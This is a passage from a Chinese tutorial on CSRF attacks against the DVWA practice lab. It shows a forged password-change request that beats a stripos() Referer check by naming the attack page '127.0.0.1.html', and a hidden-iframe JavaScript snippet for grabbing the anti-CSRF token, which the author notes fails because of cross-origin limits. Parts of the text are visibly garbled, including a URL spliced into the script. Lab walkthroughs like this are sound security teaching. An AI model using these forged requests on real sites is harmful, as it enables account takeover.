10分钟浅谈CSRF突破原理,Web安全的第一防线( 三 )

检查HTTP_REFERER(http数据包的referer参数值)即上一级URL地址信息是否包含由HTTPHTTP数据包中的主机参数值;包含则表示当前页面是从DVWA即上一级URL合法的行为 。
 
合法的http数据包:
GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943X-Forwarded-For: 8.8.8.8Connection: keep-aliveUpgrade-Insecure-Requests: 1留意第2行,第8行 。

  • 分析绕过
但是stripos()函数写的头验证是可以绕过的?stripos()函数是多次匹配;只要包含了目标主机地址就可以可以绕过过strips()函数写的验证语句
如果我们依旧按照建立一个伪造的攻击页面,stripos()头验证就会验证,而页面并非来自DVWA,于是深挖stripos()函数的扩展,发现函数会多次匹配,于是思路就是建立一个假的文件名,通过一个伪造的文件名,绕过stripos()的验证 。
  • Payload
GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://127.0.0.1/127.0.0.1.htmlCookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943X-Forwarded-For: 8.8.8.8Connection: keep-alive
这里注意:我们将Payload命名为“ 127.0.0.1.html”
 
high
  • 前端源码
<?phpif( isset( $_GET[ 'Change' ] ) ) {// 加入 Anti-CSRF token机制checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_new= $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],$insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}// Generate Anti-CSRF tokengenerateSessionToken();?>加入反CSRF令牌机制,用户访问改密页面时,服务器返回令牌,只有用户提交令牌参数才可以进行改密行为 。
  • 分析绕过
我们构造有效载荷页面的时候,就需要考虑到执行改密行为必须向服务器发送令牌,而令牌只有在改密页面才可以获得;
根据前辈的思路:利用受害者的cookie去改密页面获取令牌 。
<script type="text/JavaScript">function attack(){ document.getElementsByName('user_token')[0].value=https://www.isolves.com/it/aq/wl/2019-12-20/document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;document.getElementById("transfer").submit();}
攻击提示是当受害者点击进入该页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的令牌,并向服务器发送改密请求,以完成CSRF攻击 。
然而理想与现实的差异是巨大的,这里牵扯到了跨域问题,而现在的浏览器是分离跨域请求的 。这里简单解释下跨域,我们的框架iframe访问的地址是http://169.254 。36.73 / DVWA主站/漏洞/ csrf /,位于服务器169.254.36.73上,而我们的攻击页面位于黑客服务器上,其中的域名不同,域名B下的所有页面都主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token 。


推荐阅读